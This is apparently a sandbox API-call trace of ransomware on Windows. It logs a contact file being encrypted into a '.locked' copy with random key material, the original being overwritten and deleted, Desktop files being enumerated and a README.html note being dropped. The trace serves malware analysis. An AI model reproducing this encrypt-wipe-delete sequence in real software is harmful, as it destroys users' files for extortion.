	[0067.659] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0067.659] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0067.659] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0067.659] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0067.659] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416281 | out: pbBuffer=0x12416281) returned 1
	[0067.660] WriteFile (in: hFile=0xc4, lpBuffer=0x1240b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x1240b000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0067.662] SetEvent (hEvent=0x8c) returned 1
	[0067.662] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eebdc*=0x494, lpOverlapped=0x0) returned 1
	[0067.664] WriteFile (in: hFile=0xc4, lpBuffer=0x1240b000*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x1240b000*, lpNumberOfBytesWritten=0x127eebec*=0x494, lpOverlapped=0x0) returned 1
	[0067.664] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0067.664] CloseHandle (hObject=0xc4) returned 1
	[0067.665] CloseHandle (hObject=0xc0) returned 1
	[0067.665] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12696000*, nNumberOfCharsToWrite=0x41, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x12696000*, lpNumberOfCharsWritten=0x127ee8a0*=0x41) returned 1
	[0067.666] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.668] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact")) returned 1
	[0067.672] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.672] SetEvent (hEvent=0xa8) returned 1
	[0067.672] SetEvent (hEvent=0x8c) returned 1
	[0067.673] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.673] SetEvent (hEvent=0x8c) returned 1
	[0067.674] SetEvent (hEvent=0x78) returned 1
	[0067.674] SetEvent (hEvent=0xb4) returned 1
	[0067.674] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.674] SetEvent (hEvent=0xb4) returned 1
	[0067.690] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.691] SetEvent (hEvent=0xa8) returned 1
	[0067.691] SetEvent (hEvent=0xb4) returned 1
	[0067.692] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.693] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0067.693] SetEvent (hEvent=0xb4) returned 1
	[0067.693] SetEvent (hEvent=0x78) returned 1
	[0067.693] SetEvent (hEvent=0x8c) returned 1
	[0067.693] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.693] SetEvent (hEvent=0x8c) returned 1
	[0067.693] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0067.694] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0067.694] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0067.715] CloseHandle (hObject=0xc0) returned 1
	[0067.723] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact")) returned 1
	[0067.732] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\cookies"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0067.732] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0067.732] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0067.732] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46c6a8d0, ftCreationTime.dwHighDateTime=0x1d4cb00, ftLastAccessTime.dwLowDateTime=0x9dd3ceb0, ftLastAccessTime.dwHighDateTime=0x1d4c54b, ftLastWriteTime.dwLowDateTime=0x9dd3ceb0, ftLastWriteTime.dwHighDateTime=0x1d4c54b, nFileSizeHigh=0x0, nFileSizeLow=0x17e19, dwReserved0=0x0, dwReserved1=0x0, cFileName="5ft3t_kQuOq_IXeynI9.png", cAlternateFileName="5FT3T_~1.PNG")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb075790, ftCreationTime.dwHighDateTime=0x1d4c762, ftLastAccessTime.dwLowDateTime=0xb5703140, ftLastAccessTime.dwHighDateTime=0x1d4d08a, ftLastWriteTime.dwLowDateTime=0xb5703140, ftLastWriteTime.dwHighDateTime=0x1d4d08a, nFileSizeHigh=0x0, nFileSizeLow=0x13b44, dwReserved0=0x0, dwReserved1=0x0, cFileName="6gWXxuRsXBQ.doc", cAlternateFileName="6GWXXU~1.DOC")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b37cd50, ftCreationTime.dwHighDateTime=0x1d4cb6f, ftLastAccessTime.dwLowDateTime=0xba497440, ftLastAccessTime.dwHighDateTime=0x1d4c7ae, ftLastWriteTime.dwLowDateTime=0xba497440, ftLastWriteTime.dwHighDateTime=0x1d4c7ae, nFileSizeHigh=0x0, nFileSizeLow=0x14949, dwReserved0=0x0, dwReserved1=0x0, cFileName="8CXwFq.mkv", cAlternateFileName="")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfaddc0, ftCreationTime.dwHighDateTime=0x1d4c6b3, ftLastAccessTime.dwLowDateTime=0x1f147610, ftLastAccessTime.dwHighDateTime=0x1d4d3ab, ftLastWriteTime.dwLowDateTime=0x1f147610, ftLastWriteTime.dwHighDateTime=0x1d4d3ab, nFileSizeHigh=0x0, nFileSizeLow=0x9c3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="8XtLG.m4a", cAlternateFileName="")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c5249d0, ftCreationTime.dwHighDateTime=0x1d4caed, ftLastAccessTime.dwLowDateTime=0xb85d4460, ftLastAccessTime.dwHighDateTime=0x1d4c79d, ftLastWriteTime.dwLowDateTime=0xb85d4460, ftLastWriteTime.dwHighDateTime=0x1d4c79d, nFileSizeHigh=0x0, nFileSizeLow=0x8b13, dwReserved0=0x0, dwReserved1=0x0, cFileName="9AXR_x8XIa3ydKIE.ppt", cAlternateFileName="9AXR_X~1.PPT")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eaaa910, ftCreationTime.dwHighDateTime=0x1d4cc0f, ftLastAccessTime.dwLowDateTime=0x9be776c0, ftLastAccessTime.dwHighDateTime=0x1d4cc98, ftLastWriteTime.dwLowDateTime=0x9be776c0, ftLastWriteTime.dwHighDateTime=0x1d4cc98, nFileSizeHigh=0x0, nFileSizeLow=0x1101b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BB3EjVzP-y.mp3", cAlternateFileName="BB3EJV~1.MP3")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34682df0, ftCreationTime.dwHighDateTime=0x1d4caae, ftLastAccessTime.dwLowDateTime=0xfe2aa1d0, ftLastAccessTime.dwHighDateTime=0x1d4d54a, ftLastWriteTime.dwLowDateTime=0xfe2aa1d0, ftLastWriteTime.dwHighDateTime=0x1d4d54a, nFileSizeHigh=0x0, nFileSizeLow=0xaa3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eRx-cZ.m4a", cAlternateFileName="")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa03ef000, ftCreationTime.dwHighDateTime=0x1d4cc56, ftLastAccessTime.dwLowDateTime=0x92e97500, ftLastAccessTime.dwHighDateTime=0x1d4c95a, ftLastWriteTime.dwLowDateTime=0x92e97500, ftLastWriteTime.dwHighDateTime=0x1d4c95a, nFileSizeHigh=0x0, nFileSizeLow=0x102e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GWmCF1_3WU.png", cAlternateFileName="GWMCF1~1.PNG")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe60192e0, ftCreationTime.dwHighDateTime=0x1d4cbbc, ftLastAccessTime.dwLowDateTime=0x5b147cd0, ftLastAccessTime.dwHighDateTime=0x1d4c54d, ftLastWriteTime.dwLowDateTime=0x5b147cd0, ftLastWriteTime.dwHighDateTime=0x1d4c54d, nFileSizeHigh=0x0, nFileSizeLow=0x2e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="I8YLdLjiG.mkv", cAlternateFileName="I8YLDL~1.MKV")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfec006e0, ftCreationTime.dwHighDateTime=0x1d4cced, ftLastAccessTime.dwLowDateTime=0x67fc40c0, ftLastAccessTime.dwHighDateTime=0x1d4d12f, ftLastWriteTime.dwLowDateTime=0x67fc40c0, ftLastWriteTime.dwHighDateTime=0x1d4d12f, nFileSizeHigh=0x0, nFileSizeLow=0x17cd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ihBRwI9DVtya7Z.pptx", cAlternateFileName="IHBRWI~1.PPT")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f2fb520, ftCreationTime.dwHighDateTime=0x1d4d1f6, ftLastAccessTime.dwLowDateTime=0xbb922bf0, ftLastAccessTime.dwHighDateTime=0x1d4d517, ftLastWriteTime.dwLowDateTime=0xbb922bf0, ftLastWriteTime.dwHighDateTime=0x1d4d517, nFileSizeHigh=0x0, nFileSizeLow=0x10fea, dwReserved0=0x0, dwReserved1=0x0, cFileName="iy4Mpm NDehEf5b8o.gif", cAlternateFileName="IY4MPM~1.GIF")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x532f460, ftCreationTime.dwHighDateTime=0x1d4d202, ftLastAccessTime.dwLowDateTime=0xea2c5d30, ftLastAccessTime.dwHighDateTime=0x1d4d546, ftLastWriteTime.dwLowDateTime=0xea2c5d30, ftLastWriteTime.dwHighDateTime=0x1d4d546, nFileSizeHigh=0x0, nFileSizeLow=0x1bf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="I_J1p0hdvpTbfJ.doc", cAlternateFileName="I_J1P0~1.DOC")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eecd280, ftCreationTime.dwHighDateTime=0x1d4d2fd, ftLastAccessTime.dwLowDateTime=0xba0b9880, ftLastAccessTime.dwHighDateTime=0x1d4cdaf, ftLastWriteTime.dwLowDateTime=0xba0b9880, ftLastWriteTime.dwHighDateTime=0x1d4cdaf, nFileSizeHigh=0x0, nFileSizeLow=0x6197, dwReserved0=0x0, dwReserved1=0x0, cFileName="j498aiGAVucSDl0V.xls", cAlternateFileName="J498AI~1.XLS")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1c6f220, ftCreationTime.dwHighDateTime=0x1d4cf95, ftLastAccessTime.dwLowDateTime=0x95467080, ftLastAccessTime.dwHighDateTime=0x1d4cfec, ftLastWriteTime.dwLowDateTime=0x95467080, ftLastWriteTime.dwHighDateTime=0x1d4cfec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jOgQ2vmu", cAlternateFileName="")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x223dd940, ftCreationTime.dwHighDateTime=0x1d4d1ed, ftLastAccessTime.dwLowDateTime=0xc8c2be0, ftLastAccessTime.dwHighDateTime=0x1d4cbe1, ftLastWriteTime.dwLowDateTime=0xc8c2be0, ftLastWriteTime.dwHighDateTime=0x1d4cbe1, nFileSizeHigh=0x0, nFileSizeLow=0x23c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KbQ_Jp_Ky1ec-nK.png", cAlternateFileName="KBQ_JP~1.PNG")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x524c60e0, ftCreationTime.dwHighDateTime=0x1d4ce80, ftLastAccessTime.dwLowDateTime=0x3b4bc9d0, ftLastAccessTime.dwHighDateTime=0x1d4c97b, ftLastWriteTime.dwLowDateTime=0x3b4bc9d0, ftLastWriteTime.dwHighDateTime=0x1d4c97b, nFileSizeHigh=0x0, nFileSizeLow=0x11f3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="qQwIdGbeg_Z.png", cAlternateFileName="QQWIDG~1.PNG")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5822b830, ftCreationTime.dwHighDateTime=0x1d4d4b0, ftLastAccessTime.dwLowDateTime=0xdfd92f30, ftLastAccessTime.dwHighDateTime=0x1d4d0a9, ftLastWriteTime.dwLowDateTime=0xdfd92f30, ftLastWriteTime.dwHighDateTime=0x1d4d0a9, nFileSizeHigh=0x0, nFileSizeLow=0x94a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="So2CJKBAQ3_MNzog.mp4", cAlternateFileName="SO2CJK~1.MP4")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd278520, ftCreationTime.dwHighDateTime=0x1d4d04d, ftLastAccessTime.dwLowDateTime=0x5b292e30, ftLastAccessTime.dwHighDateTime=0x1d4cecd, ftLastWriteTime.dwLowDateTime=0x5b292e30, ftLastWriteTime.dwHighDateTime=0x1d4cecd, nFileSizeHigh=0x0, nFileSizeLow=0x15d8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="t1RVfRWHwmjTGo.png", cAlternateFileName="T1RVFR~1.PNG")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdd9600, ftCreationTime.dwHighDateTime=0x1d4c599, ftLastAccessTime.dwLowDateTime=0x9a594f30, ftLastAccessTime.dwHighDateTime=0x1d4d347, ftLastWriteTime.dwLowDateTime=0x9a594f30, ftLastWriteTime.dwHighDateTime=0x1d4d347, nFileSizeHigh=0x0, nFileSizeLow=0x64e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tFeuNNoFgT3OFYmqmD4.wav", cAlternateFileName="TFEUNN~1.WAV")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82926b40, ftCreationTime.dwHighDateTime=0x1d4d2be, ftLastAccessTime.dwLowDateTime=0x9d3e67e0, ftLastAccessTime.dwHighDateTime=0x1d4cf90, ftLastWriteTime.dwLowDateTime=0x9d3e67e0, ftLastWriteTime.dwHighDateTime=0x1d4cf90, nFileSizeHigh=0x0, nFileSizeLow=0x16166, dwReserved0=0x0, dwReserved1=0x0, cFileName="ua-gd3_2Lr0.png", cAlternateFileName="UA-GD3~1.PNG")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedfd1f70, ftCreationTime.dwHighDateTime=0x1d4cd9f, ftLastAccessTime.dwLowDateTime=0xd005aac0, ftLastAccessTime.dwHighDateTime=0x1d4d4d2, ftLastWriteTime.dwLowDateTime=0xd005aac0, ftLastWriteTime.dwHighDateTime=0x1d4d4d2, nFileSizeHigh=0x0, nFileSizeLow=0x3d76, dwReserved0=0x0, dwReserved1=0x0, cFileName="UHK6SgOn.mp3", cAlternateFileName="")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x191e3d80, ftCreationTime.dwHighDateTime=0x1d4cfa6, ftLastAccessTime.dwLowDateTime=0xa5835b50, ftLastAccessTime.dwHighDateTime=0x1d4cec7, ftLastWriteTime.dwLowDateTime=0xa5835b50, ftLastWriteTime.dwHighDateTime=0x1d4cec7, nFileSizeHigh=0x0, nFileSizeLow=0x33a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UtCAuv0GdF.swf", cAlternateFileName="UTCAUV~1.SWF")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebf27b10, ftCreationTime.dwHighDateTime=0x1d4cf4f, ftLastAccessTime.dwLowDateTime=0x8c1cd5b0, ftLastAccessTime.dwHighDateTime=0x1d4ce81, ftLastWriteTime.dwLowDateTime=0x8c1cd5b0, ftLastWriteTime.dwHighDateTime=0x1d4ce81, nFileSizeHigh=0x0, nFileSizeLow=0xfa7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="vFj8enUSau3xYExaO.wav", cAlternateFileName="VFJ8EN~1.WAV")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe704f780, ftCreationTime.dwHighDateTime=0x1d52dc4, ftLastAccessTime.dwLowDateTime=0xe79d8e00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xe53b3400, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x31e400, dwReserved0=0x0, dwReserved1=0x0, cFileName="w.exe", cAlternateFileName="")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3c2910, ftCreationTime.dwHighDateTime=0x1d4cdb4, ftLastAccessTime.dwLowDateTime=0x95334fc0, ftLastAccessTime.dwHighDateTime=0x1d4cae0, ftLastWriteTime.dwLowDateTime=0x95334fc0, ftLastWriteTime.dwHighDateTime=0x1d4cae0, nFileSizeHigh=0x0, nFileSizeLow=0x15581, dwReserved0=0x0, dwReserved1=0x0, cFileName="YOfE_up0byG PSSN0.png", cAlternateFileName="YOFE_U~1.PNG")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab11a4a0, ftCreationTime.dwHighDateTime=0x1d4c7e7, ftLastAccessTime.dwLowDateTime=0x92b9ca70, ftLastAccessTime.dwHighDateTime=0x1d4d216, ftLastWriteTime.dwLowDateTime=0x92b9ca70, ftLastWriteTime.dwHighDateTime=0x1d4d216, nFileSizeHigh=0x0, nFileSizeLow=0x6ffb, dwReserved0=0x0, dwReserved1=0x0, cFileName="YvYs.gif", cAlternateFileName="")) returned 1
	[0067.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2cd8980, ftCreationTime.dwHighDateTime=0x1d4c88c, ftLastAccessTime.dwLowDateTime=0xec58b8b0, ftLastAccessTime.dwHighDateTime=0x1d4cd67, ftLastWriteTime.dwLowDateTime=0xec58b8b0, ftLastWriteTime.dwHighDateTime=0x1d4cd67, nFileSizeHigh=0x0, nFileSizeLow=0x4b42, dwReserved0=0x0, dwReserved1=0x0, cFileName="zbxI2l.mp3", cAlternateFileName="")) returned 1
	[0067.734] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc3310, ftCreationTime.dwHighDateTime=0x1d4ce0a, ftLastAccessTime.dwLowDateTime=0x2db89b70, ftLastAccessTime.dwHighDateTime=0x1d4cd83, ftLastWriteTime.dwLowDateTime=0x2db89b70, ftLastWriteTime.dwHighDateTime=0x1d4cd83, nFileSizeHigh=0x0, nFileSizeLow=0x595e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZRlfl3nCYB.gif", cAlternateFileName="ZRLFL3~1.GIF")) returned 1
	[0067.734] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0067.734] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0067.734] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0067.735] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0067.736] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0067.737] CloseHandle (hObject=0xc0) returned 1
	[0067.737] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc180*, nNumberOfCharsToWrite=0x40, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x123bc180*, lpNumberOfCharsWritten=0x127ee914*=0x40) returned 1
